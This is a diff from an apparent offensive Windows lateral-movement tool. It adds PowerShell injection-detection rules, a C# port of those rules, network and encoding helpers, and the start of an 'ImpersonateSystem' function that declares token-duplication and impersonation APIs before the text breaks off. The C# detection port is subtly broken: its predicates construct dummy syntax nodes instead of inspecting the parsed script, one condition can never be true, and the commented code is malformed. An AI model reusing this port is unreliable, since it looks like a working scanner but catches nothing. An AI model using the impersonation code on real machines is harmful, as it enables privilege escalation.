     75 +If content escaping is truly needed, PowerShell has several valid quote characters, so [System.Management.Automation.Language.CodeGeneration]::Escape* should be used.
     76 +RuleName = InjectionRisk.InvokeExpression
     77 +Severity = Warning", foundNode.Extent
     78 + ));
     79 + }
     80 + }
     81 + 
     82 + //public static void MeasureAddType(string ScriptBlock)
     83 + //{
     84 + // Token[] token;
     85 + // ParseError[] error;
     86 + // ScriptBlockAst ScriptBlockAst = Parser.ParseInput(ScriptBlock, out token, out error);
     87 + //
     88 + // Func<Ast, bool> predicate = delegate (Ast ast)
     89 + // {
     90 + // var derpVar = new VariableExpressionAst(ast.Extent, "Derp", splatted: false);
     91 + // CommandAst targetAst = new CommandAst(ast.Extent, new[] { derpVar }, TokenKind.Unknown, Enumerable.Empty<RedirectionAst>());
     92 + // if (targetAst.CommandElements[0].Extent.Text == "Add-Type")
     93 + // {
     94 + // var addTypeParameters = StaticParameterBinder.BindCommand(targetAst);
     95 + // var typeDefinitionParameter = addTypeParameters.BoundParameters.TypeDefinition;
     96 + // if (typeDefinitionParameter.ConstantValue)
     97 + // {
     98 + // if (addTypeParameters.BoundParameters.TypeDefinition.ValueSystem.Management.Automation.Language.VariableExpressionAst)
     99 + // {
     100 + // var variableName = addTypeParameters.BoundParameters.TypeDefinition.Value.VariablePath.UserPath;
     101 + // var constantAssignmentForVariable = ScriptBlockAst.FindAll(tempvar => tempvar is Ast, true);
     102 + // if (assignmentAst && assignmentAst.Left.VariablePath.UserPath == variableName && assignmentAst.Right.ExpressionSystem.Management.Automation.Language.ConstantExpressionAst)
     103 + // {
     104 + // return true;
     105 + // }
     106 + // if (constantAssignmentForVariable != null)
     107 + // {
     108 + // return false;
     109 + // }
     110 + // else
     111 + // {
     112 + // return true;
     113 + // }
     114 + // }
     115 + // return true;
     116 + // }
     117 + // }
     118 + // return false;
     119 + // };
     120 + //
     121 + // var foundNode = ScriptBlockAst.Find(predicate, true);
     122 + // if (foundNode != null)
     123 + // {
     124 + // Console.WriteLine("[+] Possible injection vulnerability found");
     125 + // Console.WriteLine(String.Format(@"Possible code injection risk via the Add-Type cmdlet. Untrusted input can cause arbitrary Win32 code to be run..
     126 +//RuleName = InjectionRisk.AddType
     127 +//Severity = Warning", foundNode.Extent
     128 + // ));
     129 + // }
     130 + //}
     131 + 
     132 + public static void MeasureDangerousMethod(string ScriptBlock)
     133 + {
     134 + Token[] token;
     135 + ParseError[] error;
     136 + ScriptBlockAst ScriptBlockAst = Parser.ParseInput(ScriptBlock, out token, out error);
     137 + 
     138 + Func<Ast, bool> predicate = delegate (Ast ast)
     139 + {
     140 + var derpVar = new VariableExpressionAst(ast.Extent, "Derp", splatted: false);
     141 + var derpVar2 = new StringConstantExpressionAst(ast.Extent, "derbvar2", StringConstantType.BareWord);
     142 + InvokeMemberExpressionAst targetAst = new InvokeMemberExpressionAst(ast.Extent, derpVar, derpVar2, Enumerable.Empty<ExpressionAst>(), false);
     143 + if (targetAst != null)
     144 + {
     145 + if (targetAst.Member.Extent.Text.In(false, new List<string> { "invokescript", "createnestedpipeline", "addscript", "newscriptblock", "expandstring" }))
     146 + {
     147 + return true;
     148 + }
     149 + if (targetAst.Member.Extent.Text.In(false, new List<string> { "create" }) && targetAst.Expression.Extent.Text.In(false, new List<string> { "scriptblock" }))
     150 + {
     151 + return true;
     152 + }
     153 + }
     154 + return false;
     155 + };
     156 + 
     157 + var foundNode = ScriptBlockAst.Find(predicate, true);
     158 + if (foundNode != null)
     159 + {
     160 + Console.WriteLine("[+] Possible injection vulnerability found");
     161 + Console.WriteLine(String.Format(@"Possible script injection risk via the a dangerous method. Untrusted input can cause arbitrary PowerShell expressions to be run.
     162 +The PowerShell.AddCommand().AddParameter() APIs should be used instead.
     163 +RuleName = {1}
     164 +Severity = Warning", foundNode.Extent, foundNode.Extent.Text)
     165 + );
     166 + }
     167 + }
     168 + 
     169 + public static void MeasureCommandInjection(string ScriptBlock)
     170 + {
     171 + Token[] token;
     172 + ParseError[] error;
     173 + ScriptBlockAst ScriptBlockAst = Parser.ParseInput(ScriptBlock, out token, out error);
     174 + 
     175 + Func<Ast, bool> predicate = delegate (Ast ast)
     176 + {
     177 + var derpVar = new VariableExpressionAst(ast.Extent, "Derp", splatted: false);
     178 + CommandAst targetAst = new CommandAst(ast.Extent, new[] { derpVar }, TokenKind.Unknown, Enumerable.Empty<RedirectionAst>());
     179 + if (targetAst != null)
     180 + {
     181 + if (targetAst.CommandElements[0].Extent.Text.In(false, new List<string> { "cmd", "powershell" }))
     182 + {
     183 + var commandInvoked = targetAst.CommandElements[1];
     184 + for (int parameterPosition = 1; parameterPosition < targetAst.CommandElements.Count; parameterPosition++)
     185 + {
     186 + if (targetAst.CommandElements[parameterPosition].Extent.Text.In(false, new List<string> { "/c", "/k", "command", "-c", "-enc" }))
     187 + {
     188 + commandInvoked = targetAst.CommandElements[parameterPosition + 1];
     189 + break;
     190 + }
     191 + }
     192 + if (commandInvoked is ExpandableStringExpressionAst)
     193 + {
     194 + return true;
     195 + }
     196 + }
     197 + }
     198 + return false;
     199 + };
     200 + 
     201 + var foundNode = ScriptBlockAst.Find(predicate, true);
     202 + if (foundNode != null)
     203 + {
     204 + Console.WriteLine("[+] Possible injection vulnerability found");
     205 + Console.WriteLine(String.Format(@"Possible command injection risk via calling cmd.exe or powershell.exe. Untrusted input can cause arbitrary commands to be run.
     206 +Input should be provided as variable input directly (such as 'cmd /c ping $destination', rather than within an expandable string.
     207 +The PowerShell.AddCommand().AddParameter() APIs should be used instead.
     208 +RuleName = InjectionRisk.CommandInjection
     209 +Severity = Warning", foundNode.Extent));
     210 + }
     211 + }
     212 + 
     213 + public static void MeasureForeachObjectInjection(string ScriptBlock)
     214 + {
     215 + Token[] token;
     216 + ParseError[] error;
     217 + ScriptBlockAst ScriptBlockAst = Parser.ParseInput(ScriptBlock, out token, out error);
     218 + 
     219 + Func<Ast, bool> predicate = delegate (Ast ast)
     220 + {
     221 + var derpVar = new VariableExpressionAst(ast.Extent, "Derp", splatted: false);
     222 + CommandAst targetAst = new CommandAst(ast.Extent, new[] { derpVar }, TokenKind.Unknown, Enumerable.Empty<RedirectionAst>());
     223 + if (targetAst != null)
     224 + {
     225 + if (targetAst.CommandElements[0].Extent.Text.In(false, new List<string> { "foreach", "%" }))
     226 + {
     227 + var memberInvoked = targetAst.CommandElements[1];
     228 + for (int parameterPosition = 1; parameterPosition < targetAst.CommandElements.Count; parameterPosition++)
     229 + {
     230 + if (targetAst.CommandElements[parameterPosition].Extent.Text.In(false, new List<string> { "process", "membername" }))
     231 + {
     232 + memberInvoked = targetAst.CommandElements[parameterPosition + 1];
     233 + break;
     234 + }
     235 + }
     236 + if (memberInvoked is ConstantExpressionAst && memberInvoked is ScriptBlockExpressionAst)
     237 + {
     238 + return true;
     239 + }
     240 + }
     241 + }
     242 + return false;
     243 + };
     244 + var foundNode = ScriptBlockAst.Find(predicate, true);
     245 + if (foundNode != null)
     246 + {
     247 + Console.WriteLine("[+] Possible injection vulnerability found");
     248 + Console.WriteLine(String.Format(@"Possible property access injection via Foreach-Object. Untrusted input can cause arbitrary properties /methods to be accessed:
     249 +RuleName = InjectionRisk.ForeachObjectInjection
     250 +Severity = Warning", foundNode.Extent));
     251 + }
     252 + }
     253 + 
     254 + public static void MeasurePropertyInjection(string ScriptBlock)
     255 + {
     256 + Token[] token;
     257 + ParseError[] error;
     258 + ScriptBlockAst ScriptBlockAst = Parser.ParseInput(ScriptBlock, out token, out error);
     259 + 
     260 + Func<Ast, bool> predicate = delegate (Ast ast)
     261 + {
     262 + var derpVar = new VariableExpressionAst(ast.Extent, "Derp", splatted: false);
     263 + var derpVar2 = new StringConstantExpressionAst(ast.Extent, "Derpvr2", StringConstantType.BareWord);
     264 + InvokeMemberExpressionAst methodAst = new InvokeMemberExpressionAst(ast.Extent, derpVar, derpVar2, Enumerable.Empty<ExpressionAst>(), @static: false);
     265 + var ast2 = ast.Copy();
     266 + var derpVar3 = new VariableExpressionAst(ast2.Extent, "Derp3", splatted: false);
     267 + var derpVar4 = new StringConstantExpressionAst(ast2.Extent, "Derpvr4", StringConstantType.BareWord);
     268 + MemberExpressionAst targetAst = new MemberExpressionAst(ast2.Extent, derpVar3, derpVar4, @static: false);
     269 + if (targetAst != null && methodAst == null)
     270 + {
     271 + if (!(targetAst.Member is ConstantExpressionAst))
     272 + {
     273 + return true;
     274 + }
     275 + }
     276 + return false;
     277 + };
     278 + 
     279 + var foundNode = ScriptBlockAst.Find(predicate, true);
     280 + if (foundNode != null)
     281 + {
     282 + Console.WriteLine("[+] Possible injection vulnerability found");
     283 + Console.WriteLine(String.Format(@"Possible property access injection via dynamic member access. Untrusted input can cause arbitrary static properties to be accessed:
     284 +RuleName = InjectionRisk.StaticPropertyInjection
     285 +Severity = Warning", foundNode.Extent));
     286 + }
     287 + }
     288 + 
     289 + public static void MeasureMethodInjection(string ScriptBlock)
     290 + {
     291 + Token[] token;
     292 + ParseError[] error;
     293 + ScriptBlockAst ScriptBlockAst = Parser.ParseInput(ScriptBlock, out token, out error);
     294 + 
     295 + Func<Ast, bool> predicate = delegate (Ast ast)
     296 + {
     297 + var derpVar = new VariableExpressionAst(ast.Extent, "Derp", splatted: false);
     298 + var derpVar2 = new StringConstantExpressionAst(ast.Extent, "Derpvr2", StringConstantType.BareWord);
     299 + InvokeMemberExpressionAst targetAst = new InvokeMemberExpressionAst(ast.Extent, derpVar, derpVar2, Enumerable.Empty<ExpressionAst>(), @static: false);
     300 + if (targetAst != null)
     301 + {
     302 + if (targetAst.Member is ConstantExpressionAst)
     303 + {
     304 + return true;
     305 + }
     306 + }
     307 + return false;
     308 + };
     309 + 
     310 + var foundNode = ScriptBlockAst.Find(predicate, true);
     311 + if (foundNode != null)
     312 + {
     313 + Console.WriteLine("[+] Possible injection vulnerability found");
     314 + Console.WriteLine(String.Format(@"Possible property access injection via dynamic member access. Untrusted input can cause arbitrary static properties to be accessed:
     315 +RuleName = InjectionRisk.MethodInjection
     316 +Severity = Warning", foundNode.Extent));
     317 + }
     318 + }
     319 + 
     320 + public static void MeasureUnsafeEscaping(string ScriptBlock)
     321 + {
     322 + Token[] token;
     323 + ParseError[] error;
     324 + ScriptBlockAst ScriptBlockAst = Parser.ParseInput(ScriptBlock, out token, out error);
     325 + 
     326 + Func<Ast, bool> predicate = delegate (Ast ast)
     327 + {
     328 + var leftVariable = new VariableExpressionAst(ast.Extent, "herp", splatted: false);
     329 + var rightVariable = new VariableExpressionAst(ast.Extent, "derp", splatted: false);
     330 + var targetAst = new BinaryExpressionAst(ast.Extent, leftVariable, TokenKind.Ieq, rightVariable, ast.Extent);
     331 + if (targetAst != null)
     332 + {
     333 + if (targetAst.Operator.In(false, new List<string> { "replace" }) && targetAst.Right.Extent.Text.In(false, new List<string> { "`", "'" }))
     334 + {
     335 + return true;
     336 + }
     337 + }
     338 + return false;
     339 + };
     340 + 
     341 + var foundNode = ScriptBlockAst.Find(predicate, true);
     342 + if (foundNode != null)
     343 + {
     344 + Console.WriteLine("[+] Possible injection vulnerability found");
     345 + Console.WriteLine(@"Possible unsafe use of input escaping. Variables may be used directly for dynamic parameter arguments, splatting can be used for dynamic parameter names,
     346 +and the invocation operator can be used for dynamic command names. If content escaping is truly needed, PowerShell has several valid quote characters,
     347 +so the [System.Management.Automation.Language.CodeGeneration]::Escape* should be used instead
     348 +RuleName = InjectionRisk.UnsafeEscaping
     349 +Severity = Warning");
     350 + }
     351 + }
     352 + }
     353 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Helpers/JeaRules.ps1
     1 +######################################################################
     2 +##
     3 +## Rules
     4 +##
     5 +######################################################################
     6 + 
     7 +<#
     8 +.DESCRIPTION
     9 + Finds instances of Invoke-Expression, which can be used to invoke arbitrary
     10 + code if supplied with untrusted input.
     11 +#>
     12 +function Measure-InvokeExpression
     13 +{
     14 + [CmdletBinding()]
     15 + [OutputType([Microsoft.Windows.Powershell.ScriptAnalyzer.Generic.DiagnosticRecord[]])]
     16 + Param
     17 + (
     18 + [Parameter(Mandatory = $true)]
     19 + [ValidateNotNullOrEmpty()]
     20 + [System.Management.Automation.Language.ScriptBlockAst]
     21 + $ScriptBlockAst
     22 + )
     23 + 
     24 + [ScriptBlock] $predicate = {
     25 + param ([System.Management.Automation.Language.Ast] $Ast)
     26 + 
     27 + $targetAst = $Ast -as [System.Management.Automation.Language.CommandAst]
     28 + if($targetAst)
     29 + {
     30 + if($targetAst.CommandElements[0].Extent.Text -in ("Invoke-Expression", "iex"))
     31 + {
     32 + return $true;
     33 + }
     34 + }
     35 + }
     36 + 
     37 + $foundNode = $ScriptBlockAst.Find($predicate, $false)
     38 + if($foundNode)
     39 + {
     40 + [Microsoft.Windows.Powershell.ScriptAnalyzer.Generic.DiagnosticRecord] @{
     41 + "Message" = "Possible script injection risk via the Invoke-Expression cmdlet. Untrusted input can cause " +
     42 + "arbitrary PowerShell expressions to be run. Variables may be used directly for dynamic parameter arguments, " +
     43 + "splatting can be used for dynamic parameter names, and the invocation operator can be used for dynamic " +
     44 + "command names. If content escaping is truly needed, PowerShell has several valid quote characters, so " +
     45 + "[System.Management.Automation.Language.CodeGeneration]::Escape* should be used."
     46 + "Extent" = $foundNode.Extent
     47 + "RuleName" = "InjectionRisk.InvokeExpression"
     48 + "Severity" = "Warning" }
     49 + }
     50 +}
     51 + 
     52 + 
     53 +function Measure-AddType
     54 +{
     55 + [CmdletBinding()]
     56 + [OutputType([Microsoft.Windows.Powershell.ScriptAnalyzer.Generic.DiagnosticRecord[]])]
     57 + Param
     58 + (
     59 + [Parameter(Mandatory = $true)]
     60 + [ValidateNotNullOrEmpty()]
     61 + [System.Management.Automation.Language.ScriptBlockAst]
     62 + $ScriptBlockAst
     63 + )
     64 + 
     65 + [ScriptBlock] $predicate = {
     66 + param ([System.Management.Automation.Language.Ast] $Ast)
     67 + 
     68 + $targetAst = $Ast -as [System.Management.Automation.Language.CommandAst]
     69 + if($targetAst)
     70 + {
     71 + if($targetAst.CommandElements[0].Extent.Text -eq "Add-Type")
     72 + {
     73 + $addTypeParameters = [System.Management.Automation.Language.StaticParameterBinder]::BindCommand($targetAst)
     74 + $typeDefinitionParameter = $addTypeParameters.BoundParameters.TypeDefinition
     75 + 
     76 + ## If it's not a constant value, check if it's a variable with a constant value
     77 + if(-not $typeDefinitionParameter.ConstantValue)
     78 + {
     79 + if($addTypeParameters.BoundParameters.TypeDefinition.Value -is [System.Management.Automation.Language.VariableExpressionAst])
     80 + {
     81 + $variableName = $addTypeParameters.BoundParameters.TypeDefinition.Value.VariablePath.UserPath
     82 + $constantAssignmentForVariable = $ScriptBlockAst.FindAll( {
     83 + param(
     84 + [System.Management.Automation.Language.Ast] $Ast
     85 + )
     86 + 
     87 + $assignmentAst = $Ast -as [System.Management.Automation.Language.AssignmentStatementAst]
     88 + if($assignmentAst -and
     89 + ($assignmentAst.Left.VariablePath.UserPath -eq $variableName) -and
     90 + ($assignmentAst.Right.Expression -is [System.Management.Automation.Language.ConstantExpressionAst]))
     91 + {
     92 + return $true
     93 + }
     94 + }, $true)
     95 + 
     96 + if($constantAssignmentForVariable)
     97 + {
     98 + return $false
     99 + }
     100 + else
     101 + {
     102 + return $true
     103 + }
     104 + }
     105 + 
     106 + return $true
     107 + }
     108 + }
     109 + }
     110 + }
     111 + 
     112 + $foundNode = $ScriptBlockAst.Find($predicate, $false)
     113 + if($foundNode)
     114 + {
     115 + [Microsoft.Windows.Powershell.ScriptAnalyzer.Generic.DiagnosticRecord] @{
     116 + "Message" = "Possible code injection risk via the Add-Type cmdlet. Untrusted input can cause " +
     117 + "arbitrary Win32 code to be run."
     118 + "Extent" = $foundNode.Extent
     119 + "RuleName" = "InjectionRisk.AddType"
     120 + "Severity" = "Warning" }
     121 + }
     122 +}
     123 + 
     124 + 
     125 +<#
     126 +.DESCRIPTION
     127 + Finds instances of dangerous methods, which can be used to invoke arbitrary
     128 + code if supplied with untrusted input.
     129 +#>
     130 +function Measure-DangerousMethod
     131 +{
     132 + [CmdletBinding()]
     133 + [OutputType([Microsoft.Windows.Powershell.ScriptAnalyzer.Generic.DiagnosticRecord[]])]
     134 + Param
     135 + (
     136 + [Parameter(Mandatory = $true)]
     137 + [ValidateNotNullOrEmpty()]
     138 + [System.Management.Automation.Language.ScriptBlockAst]
     139 + $ScriptBlockAst
     140 + )
     141 + 
     142 + [ScriptBlock] $predicate = {
     143 + param ([System.Management.Automation.Language.Ast] $Ast)
     144 + 
     145 + $targetAst = $Ast -as [System.Management.Automation.Language.InvokeMemberExpressionAst]
     146 + if($targetAst)
     147 + {
     148 + if($targetAst.Member.Extent.Text -in ("InvokeScript", "CreateNestedPipeline", "AddScript", "NewScriptBlock", "ExpandString"))
     149 + {
     150 + return $true
     151 + }
     152 + 
     153 + if(($targetAst.Member.Extent.Text -eq "Create") -and
     154 + ($targetAst.Expression.Extent.Text -match "ScriptBlock"))
     155 + {
     156 + return $true
     157 + }
     158 + }
     159 + }
     160 + 
     161 + $foundNode = $ScriptBlockAst.Find($predicate, $false)
     162 + if($foundNode)
     163 + {
     164 + [Microsoft.Windows.Powershell.ScriptAnalyzer.Generic.DiagnosticRecord] @{
     165 + "Message" = "Possible script injection risk via the a dangerous method. Untrusted input can cause " +
     166 + "arbitrary PowerShell expressions to be run. The PowerShell.AddCommand().AddParameter() APIs " +
     167 + "should be used instead."
     168 + "Extent" = $foundNode.Extent
     169 + "RuleName" = "InjectionRisk.$($foundNode.Member.Extent.Text)"
     170 + "Severity" = "Warning" }
     171 + }
     172 +}
     173 + 
     174 + 
     175 +<#
     176 +.DESCRIPTION
     177 + Finds instances of command invocation with user input, which can be abused for
     178 + command injection.
     179 +#>
     180 +function Measure-CommandInjection
     181 +{
     182 + [CmdletBinding()]
     183 + [OutputType([Microsoft.Windows.Powershell.ScriptAnalyzer.Generic.DiagnosticRecord[]])]
     184 + Param
     185 + (
     186 + [Parameter(Mandatory = $true)]
     187 + [ValidateNotNullOrEmpty()]
     188 + [System.Management.Automation.Language.ScriptBlockAst]
     189 + $ScriptBlockAst
     190 + )
     191 + 
     192 + ## Finds CommandAst nodes that invoke PowerShell or CMD with user input
     193 + [ScriptBlock] $predicate = {
     194 + param ([System.Management.Automation.Language.Ast] $Ast)
     195 + 
     196 + $targetAst = $Ast -as [System.Management.Automation.Language.CommandAst]
     197 + if($targetAst)
     198 + {
     199 + if($targetAst.CommandElements[0].Extent.Text -match "cmd|powershell")
     200 + {
     201 + $commandInvoked = $targetAst.CommandElements[1]
     202 + for($parameterPosition = 1; $parameterPosition -lt $targetAst.CommandElements.Count; $parameterPosition++)
     203 + {
     204 + if($targetAst.CommandElements[$parameterPosition].Extent.Text -match "/c|/k|command")
     205 + {
     206 + $commandInvoked = $targetAst.CommandElements[$parameterPosition + 1]
     207 + break
     208 + }
     209 + }
     210 + 
     211 + if($commandInvoked -is [System.Management.Automation.Language.ExpandableStringExpressionAst])
     212 + {
     213 + return $true
     214 + }
     215 + }
     216 + }
     217 + }
     218 + 
     219 + $foundNode = $ScriptBlockAst.Find($predicate, $false)
     220 + if($foundNode)
     221 + {
     222 + [Microsoft.Windows.Powershell.ScriptAnalyzer.Generic.DiagnosticRecord] @{
     223 + "Message" = "Possible command injection risk via calling cmd.exe or powershell.exe. Untrusted input can cause " +
     224 + "arbitrary commands to be run. Input should be provided as variable input directly (such as " +
     225 + "'cmd /c ping `$destination', rather than within an expandable string."
     226 + "Extent" = $foundNode.Extent
     227 + "RuleName" = "InjectionRisk.CommandInjection"
     228 + "Severity" = "Warning" }
     229 + }
     230 +}
     231 + 
     232 + 
     233 +<#
     234 +.DESCRIPTION
     235 + Finds instances of Foreach-Object used with non-constant member names, which can be abused for
     236 + arbitrary member access / invocation when supplied with untrusted user input.
     237 +#>
     238 +function Measure-ForeachObjectInjection
     239 +{
     240 + [CmdletBinding()]
     241 + [OutputType([Microsoft.Windows.Powershell.ScriptAnalyzer.Generic.DiagnosticRecord[]])]
     242 + Param
     243 + (
     244 + [Parameter(Mandatory = $true)]
     245 + [ValidateNotNullOrEmpty()]
     246 + [System.Management.Automation.Language.ScriptBlockAst]
     247 + $ScriptBlockAst
     248 + )
     249 + 
     250 + ## Finds CommandAst nodes that invoke Foreach-Object with user input
     251 + [ScriptBlock] $predicate = {
     252 + param ([System.Management.Automation.Language.Ast] $Ast)
     253 + 
     254 + $targetAst = $Ast -as [System.Management.Automation.Language.CommandAst]
     255 + if($targetAst)
     256 + {
     257 + if($targetAst.CommandElements[0].Extent.Text -match "foreach|%")
     258 + {
     259 + $memberInvoked = $targetAst.CommandElements[1]
     260 + for($parameterPosition = 1; $parameterPosition -lt $targetAst.CommandElements.Count; $parameterPosition++)
     261 + {
     262 + if($targetAst.CommandElements[$parameterPosition].Extent.Text -match "Process|MemberName")
     263 + {
     264 + $memberInvoked = $targetAst.CommandElements[$parameterPosition + 1]
     265 + break
     266 + }
     267 + }
     268 + 
     269 + if((-not ($memberInvoked -is [System.Management.Automation.Language.ConstantExpressionAst])) -and
     270 + (-not ($memberInvoked -is [System.Management.Automation.Language.ScriptBlockExpressionAst])))
     271 + {
     272 + return $true
     273 + }
     274 + }
     275 + }
     276 + }
     277 + 
     278 + $foundNode = $ScriptBlockAst.Find($predicate, $false)
     279 + if($foundNode)
     280 + {
     281 + [Microsoft.Windows.Powershell.ScriptAnalyzer.Generic.DiagnosticRecord] @{
     282 + "Message" = "Possible property access injection via Foreach-Object. Untrusted input can cause " +
     283 + "arbitrary properties /methods to be accessed: " + $foundNode.Extent
     284 + "Extent" = $foundNode.Extent
     285 + "RuleName" = "InjectionRisk.ForeachObjectInjection"
     286 + "Severity" = "Warning" }
     287 + }
     288 +}
     289 + 
     290 +<#
     291 +.DESCRIPTION
     292 + Finds instances of dynamic static property access, which can be vulnerable to property injection if
     293 + supplied with untrusted user input.
     294 +#>
     295 +function Measure-PropertyInjection
     296 +{
     297 + [CmdletBinding()]
     298 + [OutputType([Microsoft.Windows.Powershell.ScriptAnalyzer.Generic.DiagnosticRecord[]])]
     299 + Param
     300 + (
     301 + [Parameter(Mandatory = $true)]
     302 + [ValidateNotNullOrEmpty()]
     303 + [System.Management.Automation.Language.ScriptBlockAst]
     304 + $ScriptBlockAst
     305 + )
     306 + 
     307 + ## Finds MemberExpressionAst that uses a non-constant member
     308 + [ScriptBlock] $predicate = {
     309 + param ([System.Management.Automation.Language.Ast] $Ast)
     310 + 
     311 + $targetAst = $Ast -as [System.Management.Automation.Language.MemberExpressionAst]
     312 + $methodAst = $Ast -as [System.Management.Automation.Language.InvokeMemberExpressionAst]
     313 + if($targetAst -and (-not $methodAst))
     314 + {
     315 + if(-not ($targetAst.Member -is [System.Management.Automation.Language.ConstantExpressionAst]))
     316 + {
     317 + ## This is not constant access, therefore dangerous
     318 + return $true
     319 + }
     320 + }
     321 + }
     322 + 
     323 + $foundNode = $ScriptBlockAst.Find($predicate, $false)
     324 + if($foundNode)
     325 + {
     326 + [Microsoft.Windows.Powershell.ScriptAnalyzer.Generic.DiagnosticRecord] @{
     327 + "Message" = "Possible property access injection via dynamic member access. Untrusted input can cause " +
     328 + "arbitrary static properties to be accessed: " + $foundNode.Extent
     329 + "Extent" = $foundNode.Extent
     330 + "RuleName" = "InjectionRisk.StaticPropertyInjection"
     331 + "Severity" = "Warning" }
     332 + }
     333 +}
     334 + 
     335 + 
     336 +<#
     337 +.DESCRIPTION
     338 + Finds instances of dynamic method invocation, which can be used to invoke arbitrary
     339 + methods if supplied with untrusted input.
     340 +#>
     341 +function Measure-MethodInjection
     342 +{
     343 + [CmdletBinding()]
     344 + [OutputType([Microsoft.Windows.Powershell.ScriptAnalyzer.Generic.DiagnosticRecord[]])]
     345 + Param
     346 + (
     347 + [Parameter(Mandatory = $true)]
     348 + [ValidateNotNullOrEmpty()]
     349 + [System.Management.Automation.Language.ScriptBlockAst]
     350 + $ScriptBlockAst
     351 + )
     352 + 
     353 + ## Finds MemberExpressionAst nodes that don't invoke a constant expression
     354 + [ScriptBlock] $predicate = {
     355 + param ([System.Management.Automation.Language.Ast] $Ast)
     356 + 
     357 + $targetAst = $Ast -as [System.Management.Automation.Language.InvokeMemberExpressionAst]
     358 + if($targetAst)
     359 + {
     360 + if(-not ($targetAst.Member -is [System.Management.Automation.Language.ConstantExpressionAst]))
     361 + {
     362 + return $true
     363 + }
     364 + }
     365 + }
     366 + 
     367 + $foundNode = $ScriptBlockAst.Find($predicate, $false)
     368 + if($foundNode)
     369 + {
     370 + [Microsoft.Windows.Powershell.ScriptAnalyzer.Generic.DiagnosticRecord] @{
     371 + "Message" = "Possible property access injection via dynamic member access. Untrusted input can cause " +
     372 + "arbitrary static properties to be accessed: " + $foundNode.Extent
     373 + "Extent" = $foundNode.Extent
     374 + "RuleName" = "InjectionRisk.MethodInjection"
     375 + "Severity" = "Warning" }
     376 + }
     377 +}
     378 + 
     379 +<#
     380 +.DESCRIPTION
     381 + Finds instances of unsafe string escaping, which is then likely to be used in a situation (like Invoke-Expression)
     382 + where it is unsafe to use. methods if supplied with untrusted input.
     383 + [System.Management.Automation.Language.CodeGeneration]::Escape* should be used instead.
     384 +#>
     385 +function Measure-UnsafeEscaping
     386 +{
     387 + [CmdletBinding()]
     388 + [OutputType([Microsoft.Windows.Powershell.ScriptAnalyzer.Generic.DiagnosticRecord[]])]
     389 + Param
     390 + (
     391 + [Parameter(Mandatory = $true)]
     392 + [ValidateNotNullOrEmpty()]
     393 + [System.Management.Automation.Language.ScriptBlockAst]
     394 + $ScriptBlockAst
     395 + )
     396 + 
     397 + ## Finds replace operators likely being used to escape strings improperly
     398 + [ScriptBlock] $predicate = {
     399 + param ([System.Management.Automation.Language.Ast] $Ast)
     400 + 
     401 + $targetAst = $Ast -as [System.Management.Automation.Language.BinaryExpressionAst]
     402 + if($targetAst)
     403 + {
     404 + if(($targetAst.Operator -match "replace") -and
     405 + ($targetAst.Right.Extent.Text -match '`"|'''''))
     406 + {
     407 + return $true
     408 + }
     409 + }
     410 + }
     411 + 
     412 + $foundNode = $ScriptBlockAst.Find($predicate, $false)
     413 + if($foundNode)
     414 + {
     415 + [Microsoft.Windows.Powershell.ScriptAnalyzer.Generic.DiagnosticRecord] @{
     416 + "Message" = "Possible unsafe use of input escaping. Variables may be used directly for dynamic parameter arguments, " +
     417 + "splatting can be used for dynamic parameter names, and the invocation operator can be used for dynamic " +
     418 + "command names. If content escaping is truly needed, PowerShell has several valid quote characters, so " +
     419 + "[System.Management.Automation.Language.CodeGeneration]::Escape* should be used instead."
     420 + "Extent" = $foundNode.Extent
     421 + "RuleName" = "InjectionRisk.UnsafeEscaping"
     422 + "Severity" = "Warning" }
     423 + }
     424 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Helpers/Misc.cs
     1 +using System;
     2 +using System.IO;
     3 +using System.IO.Compression;
     4 +using System.Linq;
     5 +using System.Net.Sockets;
     6 +using System.Text;
     7 + 
     8 +namespace SharpMapExec.Helpers
     9 +{
     10 + internal class Misc
     11 + {
     12 + public static bool CheckHostPort(string hostname, int port, int PortScanTimeout = 2000)
     13 + {
     14 + using (var client = new TcpClient())
     15 + {
     16 + try
     17 + {
     18 + var result = client.BeginConnect(hostname, port, null, null);
     19 + var success = result.AsyncWaitHandle.WaitOne(PortScanTimeout);
     20 + if (!success) return false;
     21 + client.EndConnect(result);
     22 + }
     23 + catch
     24 + {
     25 + return false;
     26 + }
     27 + return true;
     28 + }
     29 + }
     30 + 
     31 + public static string CompressData(string data)
     32 + {
     33 + byte[] bytes = Encoding.ASCII.GetBytes(data);
     34 + using (var msi = new MemoryStream(bytes))
     35 + using (var mso = new MemoryStream())
     36 + {
     37 + using (var gs = new GZipStream(mso, CompressionMode.Compress))
     38 + {
     39 + msi.CopyTo(gs);
     40 + }
     41 + return Convert.ToBase64String(mso.ToArray());
     42 + }
     43 + }
     44 + 
     45 + public static void PrintByteArray(byte[] bytes)
     46 + {
     47 + var sb = new StringBuilder("new byte[] { ");
     48 + foreach (var b in bytes)
     49 + {
     50 + sb.Append(b + ", ");
     51 + }
     52 + sb.Append("}");
     53 + Console.WriteLine(sb.ToString());
     54 + }
     55 + 
     56 + public static byte[] HexToByteArray(string hex)
     57 + {
     58 + return Enumerable.Range(0, hex.Length)
     59 + .Where(x => x % 2 == 0)
     60 + .Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
     61 + .ToArray();
     62 + }
     63 + }
     64 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Helpers/PsFunction.cs
     1 +using System;
     2 +using System.Collections.Generic;
     3 +using System.IO;
     4 +using System.Text;
     5 + 
     6 +namespace SharpMapExec.Helpers
     7 +{
     8 + internal class PsFunction
     9 + {
     10 + public static string ImpersonateSystem(string command = "[System.Security.Principal.WindowsIdentity]::GetCurrent()")
     11 + {
     12 + string function = @"
     13 +$advapi32 = Add-Type -Name 'advapi32' -Namespace 'Win32' -PassThru -MemberDefinition @'
     14 +[DllImport(""advapi32.dll"", SetLastError = true)]
     15 +[return: MarshalAs(UnmanagedType.Bool)]
     16 +public static extern bool OpenProcessToken(
     17 + IntPtr ProcessHandle,
     18 + UInt32 DesiredAccess,
     19 + out IntPtr TokenHandle);
     20 + 
     21 +[DllImport(""advapi32.dll"", SetLastError = true)]
     22 +public static extern bool DuplicateToken(
     23 + IntPtr ExistingTokenHandle,
     24 + int SECURITY_IMPERSONATION_LEVEL,
     25 + ref IntPtr DuplicateTokenHandle);
     26 + 
     27 +[DllImport(""advapi32.dll"", SetLastError = true)]
     28 +public static extern bool ImpersonateLoggedOnUser(
     29 + IntPtr hToken);
     30 + 
     31 +[DllImport(""kernel32.dll"")]
